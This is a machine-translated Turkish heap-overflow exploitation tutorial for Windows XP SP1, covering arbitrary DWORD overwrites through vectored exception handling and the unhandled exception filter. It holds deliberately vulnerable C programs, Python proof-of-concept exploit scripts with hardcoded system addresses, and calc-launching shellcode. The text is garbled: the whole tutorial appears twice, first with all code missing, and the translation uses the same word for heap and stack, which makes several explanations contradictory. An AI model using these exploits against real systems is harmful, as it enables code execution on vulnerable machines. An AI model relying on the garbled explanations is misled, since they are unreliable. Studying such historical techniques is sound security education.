İnsanlar İçin Yığın Taşmaları 101
Daha önce, yığın taşmaları ile, yürütme işaretçisinin (EIP) kontrolünü ele geçirdik, bunun istisna işleyicisi aracılığıyla mı yoksa doğrudan mı olduğunu anlayacağız.
Bugün, doğrudan EIP veya SEH kullanmadan yürütme kontrolünü ele geçiren zaman içinde denenmiş ve test edilmiş bir dizi tekniği tartışacağız.
Kontrol edilen bir değerle, seçimimizin belleğindeki bir konuma üzerine yazarak, keyfi bir DWORD üzerine yazma elde edebiliriz.
Yığın tabanlı arabellek taşmalarını orta/ileri seviyeye bilmiyorsanız, önce bu alana odaklanmanız önerilir.
Örtmek üzere olduğumuz şey bir süredir öldü ve gömüldü, bu yüzden windows yığın Yöneticisini kullanmak için daha yeni teknikler arıyorsanız, etrafta dolaşmayın
Neye ihtiyacınız olacak:
- Sadece sp1 yüklü Windows XP.
- Bir hata ayıklayıcı (Olly hata ayıklayıcı, bağışıklık hata ayıklayıcı, windbg vb.).
- Bir C / C++ compilier (Dev c++, lcc-32, MS visual C++ 6.0 (hala alabilirseniz)).
- Kolay bir betik dili (python kullanıyorum, belki perl kullanabilirsiniz).
- Bir beyin (ve/veya sebat).
- Olly or için HideDbg (eklenti) kullanarak bir hata ayıklayıcıyı nasıl kazacağınıza dair montaj, C ve bilgi hakkında bazı bilgiler !bağışıklık hata ayıklayıcı altında hidedebug
- Zaman.
Temel ve temellere odaklanacağız.
Sunulan teknikler büyük olasılıkla "gerçek dünyada" kullanmak için çok eski olacaktır, ancak her zaman ileriye doğru hareket etmek istiyorsa, geçmişi bilmesi gerektiği hatırlatılmalıdır.
Ve ondan öğren. Tamam başlayalım!
Yığın nedir ve XP altında nasıl çalışır?
Yığın, bir işlemin verileri tutabileceği bir depolama alanıdır.
Her işlem, uygulamanın gereksinimlerine göre yığın belleği dinamik olarak ayırır ve serbest bırakır.
Yığının 0x00000000 yönünde büyüdüğünü ve yığının 0xFFFFFFFF yönünde büyüdüğünü belirtmek önemlidir.
Bu, bir işlem HeapAllocate() iki kez çağırılırsa, ikinci çağrı ilkinden daha yüksek bir işaretçi döndüreceği anlamına gelir.
Bu nedenle, ilk bloğun herhangi bir taşması ikinci bloğa taşacaktır.
Varsayılan işlem yığını veya dinamik olarak ayrılmış bir yığın olsun, her işlem birden çok veri yapısı içerecektir.
Bu veri yapılarından biri, boş blokları izleyen 128 LİST_ENTRY yapılarından oluşan bir dizidir.
Bu FreeLists olarak bilinir.
Her liste girdisi dizinin başında iki işaretçi tutar ve 0x178 öbek yapısına uzaklık bulunabilir.
Bir yığın oluşturulduğunda, ayırma için kullanılabilen ilk boş bellek bloğuna işaret eden iki işaretçi FreeLists[0] konumunda ayarlanır.
Bırak batsın ve sonra bunu düşün. 0x00650000 taban adresine sahip bir yığınımız olduğunu ve ilk kullanılabilir bloğun 0x00650688 adresinde olduğunu varsayarsak, aşağıdaki dört adresi varsayabiliriz:
Bir tahsisat oluştuğunda, FreeList[0].Flink ve FreeList[0].
Yanıp sönme işaretçileri, tahsis edilecek bir sonraki boş bloğa işaret edecek şekilde güncellenir.
Ayrıca, Freelist'e geri dönen iki işaretçi, yeni ayrılan bloğun sonuna taşınır.
Her tahsisat veya ÜCRETSİZ, bu işaretçiler güncellenir.
Bu nedenle, bu ayırmalar çift bağlantılı bir listede izlenir.
Bir yığın arabellek yığın denetim verisine taşan, bu işaretçiler güncelleştirme rasgele dword üzerine yazar sağlar.
Bu noktada bir saldırgan, işlev işaretçileri gibi program kontrol verilerini değiştirme ve işlemlerin yürütme yolunun kontrolünü alma olanağına sahiptir.
Vektörlü Özel Durum İşleme Kullanarak Yığın Taşmalarını Kullanma
İlk olarak, heap-veh.c kodu ile başlayalım :
Yukarıdaki koddan, _ _ try block deyimi nedeniyle istisna işleme olacağını görebiliriz.
Kodu Windows XP SP1 altında en sevdiğiniz derleyiciyle derleyerek başlayın.
Uygulamayı komut satırında çalıştırın, özel durum işleyicisinin içeri girmesi için 260 bayttan fazla sürdüğüne dikkat edin.
Şimdi, elbette, bunu hata ayıklayıcıda çalıştırdığımızda, ikinci tahsisatın kontrolünü ele geçiririz (çünkü freelist[0] ilk tahsisattan gelen saldırı dizesiyle güncellenir).
Peki vektörel istisna işleme nedir?
Vektörlü özel durum işleme, Windows XP'de kullanılmaya başlandı ve yapısını yığın üzerinde depolayan SEH gibi geleneksel çerçeve özel durum işlemenin aksine, özel durum kayıt yapılarını yığın üzerinde depolar.
Bu tür bir özel durum, başka bir çerçeve tabanlı özel durum işlemeden önce çağrılır. Aşağıdaki yapı düzenini göstermektedir:
Bilmeniz gereken tek şey, m_pnextnode'un bir sonraki _vectored_exception_node yapısına işaret etmesidir, bu nedenle işaretçiyi sahte işaretçimizle _vectored_exception_node (m_pNextNode) üzerine yazmamız gerekir.
Ama bunun üzerine ne yazacağız? _vectored_exception_node göndermekten sorumlu olan koda bir göz atalım:
Bu yüzden _vectored_exception_node işaretçisini ESI'YE taşıyoruz ve kısa bir süre sonra ESI + 8'i çağırıyoruz.
_VECTORED_EXCEPTION_NODE bir sonraki işaretçiyi shellcode-0x08 işaret eden bir adrese ayarlarsak, arabelleğimize çok düzgün bir şekilde inmeliyiz. Kabuk kodumuza bir işaretçi nereden bulacağız?
Peki yığında bir tane var:
İşaretçimizi yığın üzerindeki kabuk kodumuza görebiliriz.
Tamam, stres yok, bu kodlanmış 0x0012ff40 değerini kullanalım.
Esı+8 çağrısını hatırlıyor musun? hedefte olduğumuzdan emin olalım, bu yüzden 0x0012ff40-0x08 = 0x0012ff38. Mükemmel, bu yüzden ECX 0x0012ff38 olarak ayarlanacak.
M_NextNode (sonraki _vectored_exception_node işaretçisi) nasıl bulabilirim? Olly'de (veya bağışıklık hata ayıklayıcısında), shift+f7 kullanarak istisnamızı şu ana kadar ayrıştırıp kodla devam etmeye çalışabiliriz.
Kod, ilk _vectored_exception_node çağrısı için ayarlanacak ve bu nedenle işaretçiyi ortaya çıkaracaktır:
Kodun M_PNEXTNODE (ihtiyacımız olan işaretçimiz) EDI'YE taşındığını görebilirsiniz.
Mükemmel, EAX'I bu değere ayarlayalım.
Yani, şu değerleri belirledik: ECX = 0x77fc3210 EAX = 0x0012ff38.
Tabii ki, EAX ve ECX için ofsetlerimize ihtiyacımız var, bu yüzden sadece bir MSF deseni oluşturuyoruz ve uygulamaya aktarıyoruz. İşte izleme zevkiniz için hızlı bir hatırlatma
Msf deseni oluşturma
Anti-hata ayıklamayı etkinleştirerek ve istisnayı tetikleyerek ofsetleri hesaplayın
Tamam, işte bir iskelet poc istismarı:
Bu aşamada, ecx talimatımızdan sonra shellcode olamaz, çünkü boş bir bayt içerir.
Bu örnekte olduğu gibi, arabelleğimizi yığında saklamak için bir strcpy kullanıyoruz.
Tamam, bu noktada yazılım kesme noktalarımızı "\xcc" de vurduk ve bunu sadece bazı kabuk kodlarıyla değiştirebiliriz.
Kabuk kodumuzu yerleştirmek için tek yer olduğu için kabuk kodu 272 bayttan fazla olmamalıdır.
İşlenmeyen Özel Durum Filtresini Kullanarak Yığınığın Taşmalarını Kullanma
İşlenmeyen özel durum süzgeci, bir uygulama kapanmadan önce çağrılacak son özel durumdur.
Bir uygulama aniden çöktüğünde "işlenmeyen bir hata oluştu" mesajının gönderilmesinden sorumludur.
Bu noktaya kadar, EAX ve ECX'İ kontrol etme aşamasına geldik ve her iki kayıt için de ofset konumunu biliyoruz:
Önceki örnekten farklı olarak, bizim yığın-uef.c dosyası, özel bir özel durum işleyicisinin izlerini içermez. Bu, Microsoft'un varsayılan işlenmeyen istisna filtresini kullanarak uygulamayı kullanacağımız anlamına gelir. Aşağıda bir yığın-uef.c dosyası var:
Bu tür taşma hata ayıklarken, Olly veya Immunity Debugger içinde anti hata ayıklamayı etkinleştirmek önemlidir, böylece istisna Filtremiz çağrılır ve ofsetler doğru konumdadır.
Her şeyden önce, dword'umuzu da nerede yazacağımızı bulmalıyız.
Bu, işlenmeyen özel durum filtresinin işaretçisi olacaktır.
Bu, setunhandledexceptionfilter () koduna giderek ve bakarak bulunabilir.
Bir MOV komutunun UnhandledExceptionFilter (0x77ed73b4) adresine bir değer yazdığını görebiliriz:
SetUnhandledExceptionFilter() çağrısı yapıldığında, Ecx değerini UnhandledExceptionFilter tarafından sağlanan işaretçiye yazar.
Bu, unlink() işlemi ECX --> EAX'I tetiklediğinde ilk başta kafa karıştırıcı görünebilir, ancak bu özel durumda, SetUnhandledExceptionFilter() UnhandledExceptionFilter işlev çağrısını ayarlama şeklini kötüye kullanıyoruz. Bu noktada, ECX'İN kontrolü kabuk kodumuza döndüren bir işaretçi içereceğini güvenle söyleyebiliriz.
Aşağıdaki kod herhangi bir şüpheyi ortadan kaldırmalıdır:
Temel olarak, UnhandledExceptionFilter() değeri EAX'A ayrıştırılır ve daha sonra bir çağrı EAX tetiklendikten kısa bir süre sonra.
Bu yüzden UnhandledExceptionFilter() --> [saldırganlar işaretçisi] var, daha sonra saldırganlar işaretçisi UnhandledExceptionFilter() EAX'A dereferenced ve yürütülür.
Bu işaretçi daha sonra kontrolü kabuk kodumuza veya bizi kabuk kodumuza geri götürecek bir talimata aktaracaktır.
EDI'ye bir göz atarsak, yükümüzün altından 0x78 baytlık bir işaretçi göreceğiz.
Bu işaretçiyi basitçe çağırırsak, kabuk kodumuzu yürütürüz. Bu nedenle, EAX'ta aşağıdaki gibi bir talimata ihtiyacımız var:
Bu talimat, XP sp1 altındaki birçok MS modülünde kolayca bulunur.
Öyleyse bu değerleri Poc'mize dolduralım ve nereye indiğimizi görelim:
Tabii ki, sadece kabuk kodunun bu bölümüne ofseti hesaplıyoruz ve JMP talimat kodumuzu ve kabuk kodumuzu ekliyoruz:
BOOM!
Translator: Qgenays
Source: https://www.fuzzysecurity.com/tutorials/mr_me/2.html
Daha önce, yığın taşmaları ile, yürütme işaretçisinin (EIP) kontrolünü ele geçirdik, bunun istisna işleyicisi aracılığıyla mı yoksa doğrudan mı olduğunu anlayacağız.
Bugün, doğrudan EIP veya SEH kullanmadan yürütme kontrolünü ele geçiren zaman içinde denenmiş ve test edilmiş bir dizi tekniği tartışacağız.
Kontrol edilen bir değerle, seçimimizin belleğindeki bir konuma üzerine yazarak, keyfi bir DWORD üzerine yazma elde edebiliriz.
Yığın tabanlı arabellek taşmalarını orta/ileri seviyeye bilmiyorsanız, önce bu alana odaklanmanız önerilir.
Örtmek üzere olduğumuz şey bir süredir öldü ve gömüldü, bu yüzden windows yığın Yöneticisini kullanmak için daha yeni teknikler arıyorsanız, etrafta dolaşmayın
Neye ihtiyacınız olacak:
- Sadece sp1 yüklü Windows XP.
- Bir hata ayıklayıcı (Olly hata ayıklayıcı, bağışıklık hata ayıklayıcı, windbg vb.).
- Bir C / C++ compilier (Dev c++, lcc-32, MS visual C++ 6.0 (hala alabilirseniz)).
- Kolay bir betik dili (python kullanıyorum, belki perl kullanabilirsiniz).
- Bir beyin (ve/veya sebat).
- Olly or için HideDbg (eklenti) kullanarak bir hata ayıklayıcıyı nasıl kazacağınıza dair montaj, C ve bilgi hakkında bazı bilgiler !bağışıklık hata ayıklayıcı altında hidedebug
- Zaman.
Temel ve temellere odaklanacağız.
Sunulan teknikler büyük olasılıkla "gerçek dünyada" kullanmak için çok eski olacaktır, ancak her zaman ileriye doğru hareket etmek istiyorsa, geçmişi bilmesi gerektiği hatırlatılmalıdır.
Ve ondan öğren. Tamam başlayalım!
Yığın nedir ve XP altında nasıl çalışır?
Yığın, bir işlemin verileri tutabileceği bir depolama alanıdır.
Her işlem, uygulamanın gereksinimlerine göre yığın belleği dinamik olarak ayırır ve serbest bırakır.
Yığının 0x00000000 yönünde büyüdüğünü ve yığının 0xFFFFFFFF yönünde büyüdüğünü belirtmek önemlidir.
Bu, bir işlem HeapAllocate() iki kez çağırılırsa, ikinci çağrı ilkinden daha yüksek bir işaretçi döndüreceği anlamına gelir.
Bu nedenle, ilk bloğun herhangi bir taşması ikinci bloğa taşacaktır.
Varsayılan işlem yığını veya dinamik olarak ayrılmış bir yığın olsun, her işlem birden çok veri yapısı içerecektir.
Bu veri yapılarından biri, boş blokları izleyen 128 LİST_ENTRY yapılarından oluşan bir dizidir.
Bu FreeLists olarak bilinir.
Her liste girdisi dizinin başında iki işaretçi tutar ve 0x178 öbek yapısına uzaklık bulunabilir.
Bir yığın oluşturulduğunda, ayırma için kullanılabilen ilk boş bellek bloğuna işaret eden iki işaretçi FreeLists[0] konumunda ayarlanır.
Bırak batsın ve sonra bunu düşün. 0x00650000 taban adresine sahip bir yığınımız olduğunu ve ilk kullanılabilir bloğun 0x00650688 adresinde olduğunu varsayarsak, aşağıdaki dört adresi varsayabiliriz:
Kod:
At address 0x00650178 (Freelist[0].Flink) is a pointer with the value of 0x00650688 (Our first free block)
At address 0x0065017c (FreeList[0].Blink) is a pointer with the value of 0x00650688 (Our first free block)
At address 0x00650688 (Our first free block) is a pointer with the value of 0x00650178 (FreeList[0])
At address 0x0065068c (Our first free block) is a pointer with the value of 0x00650178 (FreeList[0])
Bir tahsisat oluştuğunda, FreeList[0].Flink ve FreeList[0].
Yanıp sönme işaretçileri, tahsis edilecek bir sonraki boş bloğa işaret edecek şekilde güncellenir.
Ayrıca, Freelist'e geri dönen iki işaretçi, yeni ayrılan bloğun sonuna taşınır.
Her tahsisat veya ÜCRETSİZ, bu işaretçiler güncellenir.
Bu nedenle, bu ayırmalar çift bağlantılı bir listede izlenir.
Bir yığın arabellek yığın denetim verisine taşan, bu işaretçiler güncelleştirme rasgele dword üzerine yazar sağlar.
Bu noktada bir saldırgan, işlev işaretçileri gibi program kontrol verilerini değiştirme ve işlemlerin yürütme yolunun kontrolünü alma olanağına sahiptir.
Vektörlü Özel Durum İşleme Kullanarak Yığın Taşmalarını Kullanma
İlk olarak, heap-veh.c kodu ile başlayalım :
Kod:
#include <windows.h>
#include <stdio.h>
DWORD MyExceptionHandler(****);
int foo(char *buf);
int main(int argc, char *argv[])
{
HMODULE l;
l = LoadLibrary("msvcrt.dll");
l = LoadLibrary("netapi32.dll");
printf("\n\nHeapoverflow program.\n");
if(argc != 2)
return printf("ARGS!");
foo(argv[1]);
return 0;
}
DWORD MyExceptionHandler(****)
{
printf("In exception handler....");
ExitProcess(1);
return 0;
}
int foo(char *buf)
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
__try{
hp = HeapCreate(0,0x1000,0x10000);
if(!hp){
return printf("Failed to create heap.\n");
}
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("HEAP: %.8X %.8X\n",h1,&h1);
// Heap Overflow occurs here:
strcpy(h1,buf);
// This second call to HeapAlloc() is when we gain control
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("hello");
}
__except(MyExceptionHandler())
{
printf("oops...");
}
return 0;
}
Yukarıdaki koddan, _ _ try block deyimi nedeniyle istisna işleme olacağını görebiliriz.
Kodu Windows XP SP1 altında en sevdiğiniz derleyiciyle derleyerek başlayın.
Uygulamayı komut satırında çalıştırın, özel durum işleyicisinin içeri girmesi için 260 bayttan fazla sürdüğüne dikkat edin.
Şimdi, elbette, bunu hata ayıklayıcıda çalıştırdığımızda, ikinci tahsisatın kontrolünü ele geçiririz (çünkü freelist[0] ilk tahsisattan gelen saldırı dizesiyle güncellenir).
Kod:
EAX (what we write) : Blink
ECX (******** of where to write) : Flink
Peki vektörel istisna işleme nedir?
Vektörlü özel durum işleme, Windows XP'de kullanılmaya başlandı ve yapısını yığın üzerinde depolayan SEH gibi geleneksel çerçeve özel durum işlemenin aksine, özel durum kayıt yapılarını yığın üzerinde depolar.
Bu tür bir özel durum, başka bir çerçeve tabanlı özel durum işlemeden önce çağrılır. Aşağıdaki yapı düzenini göstermektedir:
Kod:
struct _VECTORED_EXCEPTION_NODE
{
DWORD m_pNextNode;
DWORD m_pPreviousNode;
P**** m_pfnVectoredHandler;
}
Bilmeniz gereken tek şey, m_pnextnode'un bir sonraki _vectored_exception_node yapısına işaret etmesidir, bu nedenle işaretçiyi sahte işaretçimizle _vectored_exception_node (m_pNextNode) üzerine yazmamız gerekir.
Ama bunun üzerine ne yazacağız? _vectored_exception_node göndermekten sorumlu olan koda bir göz atalım:
Kod:
77F7F49E 8B35 1032FC77 MOV ESI,DWORD PTR DS:[77FC3210]
77F7F4A4 EB 0E JMP SHORT ntdll.77F7F4B4
77F7F4A6 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
77F7F4A9 50 PUSH EAX
77F7F4AA FF56 08 CALL DWORD PTR DS:[ESI+8]
Bu yüzden _vectored_exception_node işaretçisini ESI'YE taşıyoruz ve kısa bir süre sonra ESI + 8'i çağırıyoruz.
_VECTORED_EXCEPTION_NODE bir sonraki işaretçiyi shellcode-0x08 işaret eden bir adrese ayarlarsak, arabelleğimize çok düzgün bir şekilde inmeliyiz. Kabuk kodumuza bir işaretçi nereden bulacağız?
Peki yığında bir tane var:
İşaretçimizi yığın üzerindeki kabuk kodumuza görebiliriz.
Tamam, stres yok, bu kodlanmış 0x0012ff40 değerini kullanalım.
Esı+8 çağrısını hatırlıyor musun? hedefte olduğumuzdan emin olalım, bu yüzden 0x0012ff40-0x08 = 0x0012ff38. Mükemmel, bu yüzden ECX 0x0012ff38 olarak ayarlanacak.
M_NextNode (sonraki _vectored_exception_node işaretçisi) nasıl bulabilirim? Olly'de (veya bağışıklık hata ayıklayıcısında), shift+f7 kullanarak istisnamızı şu ana kadar ayrıştırıp kodla devam etmeye çalışabiliriz.
Kod, ilk _vectored_exception_node çağrısı için ayarlanacak ve bu nedenle işaretçiyi ortaya çıkaracaktır:
Kod:
77F60C2C BF 1032FC77 MOV EDI,ntdll.77FC3210
77F60C31 393D 1032FC77 CMP DWORD PTR DS:[77FC3210],EDI
77F60C37 0F85 48E80100 JNZ ntdll.77F7F485
Kodun M_PNEXTNODE (ihtiyacımız olan işaretçimiz) EDI'YE taşındığını görebilirsiniz.
Mükemmel, EAX'I bu değere ayarlayalım.
Yani, şu değerleri belirledik: ECX = 0x77fc3210 EAX = 0x0012ff38.
Tabii ki, EAX ve ECX için ofsetlerimize ihtiyacımız var, bu yüzden sadece bir MSF deseni oluşturuyoruz ve uygulamaya aktarıyoruz. İşte izleme zevkiniz için hızlı bir hatırlatma
Msf deseni oluşturma
Anti-hata ayıklamayı etkinleştirerek ve istisnayı tetikleyerek ofsetleri hesaplayın
Tamam, işte bir iskelet poc istismarı:
Kod:
import os
# _vectored_exception_node
exploit = ("\xcc" * 272)
# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04
# due to second MOV writes to EAX+4 == 0x77fc320c
exploit += ("\x0c\x32\xfc\x77") # ECX
# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38
exploit += ("\x38\xff\x12") # EAX - we don't need the null byte
os.system('"C:\\********s and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-veh.exe ' + exploit)
Bu aşamada, ecx talimatımızdan sonra shellcode olamaz, çünkü boş bir bayt içerir.
Bu örnekte olduğu gibi, arabelleğimizi yığında saklamak için bir strcpy kullanıyoruz.
Tamam, bu noktada yazılım kesme noktalarımızı "\xcc" de vurduk ve bunu sadece bazı kabuk kodlarıyla değiştirebiliriz.
Kabuk kodumuzu yerleştirmek için tek yer olduğu için kabuk kodu 272 bayttan fazla olmamalıdır.
Kod:
import os
import win32api
calc = (
"\xda\xcb\x2b\xc9\xd9\x74\x24\xf4\x58\xb1\x32\xbb\xfa\xcd" +
"\x2d\x4a\x83\xe8\xfc\x31\x58\x14\x03\x58\xee\x2f\xd8\xb6" +
"\xe6\x39\x23\x47\xf6\x59\xad\xa2\xc7\x4b\xc9\xa7\x75\x5c" +
"\x99\xea\x75\x17\xcf\x1e\x0e\x55\xd8\x11\xa7\xd0\x3e\x1f" +
"\x38\xd5\xfe\xf3\xfa\x77\x83\x09\x2e\x58\xba\xc1\x23\x99" +
"\xfb\x3c\xcb\xcb\x54\x4a\x79\xfc\xd1\x0e\x41\xfd\x35\x05" +
"\xf9\x85\x30\xda\x8d\x3f\x3a\x0b\x3d\x4b\x74\xb3\x36\x13" +
"\xa5\xc2\x9b\x47\x99\x8d\x90\xbc\x69\x0c\x70\x8d\x92\x3e" +
"\xbc\x42\xad\x8e\x31\x9a\xe9\x29\xa9\xe9\x01\x4a\x54\xea" +
"\xd1\x30\x82\x7f\xc4\x93\x41\x27\x2c\x25\x86\xbe\xa7\x29" +
"\x63\xb4\xe0\x2d\x72\x19\x9b\x4a\xff\x9c\x4c\xdb\xbb\xba" +
"\x48\x87\x18\xa2\xc9\x6d\xcf\xdb\x0a\xc9\xb0\x79\x40\xf8" +
"\xa5\xf8\x0b\x97\x38\x88\x31\xde\x3a\x92\x39\x71\x52\xa3" +
"\xb2\x1e\x25\x3c\x11\x5b\xd9\x76\x38\xca\x71\xdf\xa8\x4e" +
"\x1c\xe0\x06\x8c\x18\x63\xa3\x6d\xdf\x7b\xc6\x68\xa4\x3b" +
"\x3a\x01\xb5\xa9\x3c\xb6\xb6\xfb\x5e\x59\x24\x67\xa1\x93")
# _vectored_exception_node
exploit = ("\x90" * 5)
exploit += (calc)
exploit += ("\xcc" * (272-len(exploit)))
# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04
# due to second MOV writes to EAX+4 == 0x77fc320c
exploit += ("\x0c\x32\xfc\x77") # ECX
# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38
exploit += ("\x38\xff\x12") # EAX - we dont need the null byte
win32api.WinExec(('heap-veh.exe %s') % exploit, 1)
İşlenmeyen Özel Durum Filtresini Kullanarak Yığınığın Taşmalarını Kullanma
İşlenmeyen özel durum süzgeci, bir uygulama kapanmadan önce çağrılacak son özel durumdur.
Bir uygulama aniden çöktüğünde "işlenmeyen bir hata oluştu" mesajının gönderilmesinden sorumludur.
Bu noktaya kadar, EAX ve ECX'İ kontrol etme aşamasına geldik ve her iki kayıt için de ofset konumunu biliyoruz:
Kod:
import os
exploit = ("\xcc" * 272)
exploit += ("\x41" * 4) # ECX
exploit += ("\x42" * 4) # EAX
exploit += ("\xcc" * 272)
os.system('"C:\\********s and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit)
Önceki örnekten farklı olarak, bizim yığın-uef.c dosyası, özel bir özel durum işleyicisinin izlerini içermez. Bu, Microsoft'un varsayılan işlenmeyen istisna filtresini kullanarak uygulamayı kullanacağımız anlamına gelir. Aşağıda bir yığın-uef.c dosyası var:
Kod:
#include <stdio.h>
#include <windows.h>
int foo(char *buf);
int main(int argc, char *argv[])
{
HMODULE l;
l = LoadLibrary("msvcrt.dll");
l = LoadLibrary("netapi32.dll");
printf("\n\nHeapoverflow program.\n");
if(argc != 2)
return printf("ARGS!");
foo(argv[1]);
return 0;
}
int foo(char *buf)
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
if(!hp)
return printf("Failed to create heap.\n");
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("HEAP: %.8X %.8X\n",h1,&h1);
// Heap Overflow occurs here:
strcpy(h1,buf);
// We gain control of this second call to HeapAlloc
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("hello");
return 0;
}
Bu tür taşma hata ayıklarken, Olly veya Immunity Debugger içinde anti hata ayıklamayı etkinleştirmek önemlidir, böylece istisna Filtremiz çağrılır ve ofsetler doğru konumdadır.
Her şeyden önce, dword'umuzu da nerede yazacağımızı bulmalıyız.
Bu, işlenmeyen özel durum filtresinin işaretçisi olacaktır.
Bu, setunhandledexceptionfilter () koduna giderek ve bakarak bulunabilir.
Bir MOV komutunun UnhandledExceptionFilter (0x77ed73b4) adresine bir değer yazdığını görebiliriz:
SetUnhandledExceptionFilter() çağrısı yapıldığında, Ecx değerini UnhandledExceptionFilter tarafından sağlanan işaretçiye yazar.
Bu, unlink() işlemi ECX --> EAX'I tetiklediğinde ilk başta kafa karıştırıcı görünebilir, ancak bu özel durumda, SetUnhandledExceptionFilter() UnhandledExceptionFilter işlev çağrısını ayarlama şeklini kötüye kullanıyoruz. Bu noktada, ECX'İN kontrolü kabuk kodumuza döndüren bir işaretçi içereceğini güvenle söyleyebiliriz.
Aşağıdaki kod herhangi bir şüpheyi ortadan kaldırmalıdır:
Kod:
77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4]
77E93119 3BC6 CMP EAX,ESI
77E9311B 74 15 JE SHORT kernel32.77E93132
77E9311D 57 PUSH EDI
77E9311E FFD0 CALL EAX
Temel olarak, UnhandledExceptionFilter() değeri EAX'A ayrıştırılır ve daha sonra bir çağrı EAX tetiklendikten kısa bir süre sonra.
Bu yüzden UnhandledExceptionFilter() --> [saldırganlar işaretçisi] var, daha sonra saldırganlar işaretçisi UnhandledExceptionFilter() EAX'A dereferenced ve yürütülür.
Bu işaretçi daha sonra kontrolü kabuk kodumuza veya bizi kabuk kodumuza geri götürecek bir talimata aktaracaktır.
EDI'ye bir göz atarsak, yükümüzün altından 0x78 baytlık bir işaretçi göreceğiz.
Bu işaretçiyi basitçe çağırırsak, kabuk kodumuzu yürütürüz. Bu nedenle, EAX'ta aşağıdaki gibi bir talimata ihtiyacımız var:
Kod:
call dword ptr ds:[edi+74]
Bu talimat, XP sp1 altındaki birçok MS modülünde kolayca bulunur.
Öyleyse bu değerleri Poc'mize dolduralım ve nereye indiğimizi görelim:
Kod:
import os
exploit = ("\xcc" * 272)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\xcc" * 272)
os.system('"C:\\********s and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit)
Tabii ki, sadece kabuk kodunun bu bölümüne ofseti hesaplıyoruz ve JMP talimat kodumuzu ve kabuk kodumuzu ekliyoruz:
Kod:
import os
calc = (
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x44\x80\xc2\x77" # address to WinExec()
"\xFF\xD1\x90\x90")
exploit = ("\x44" * 264)
exploit += "\xeb\x14" # our JMP (over the junk and into nops)
exploit += ("\x44" * 6)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\x90" * 21)
exploit += calc
os.system('heap-uef.exe ' + exploit)
BOOM!
Translator: Qgenays
Source: https://www.fuzzysecurity.com/tutorials/mr_me/2.html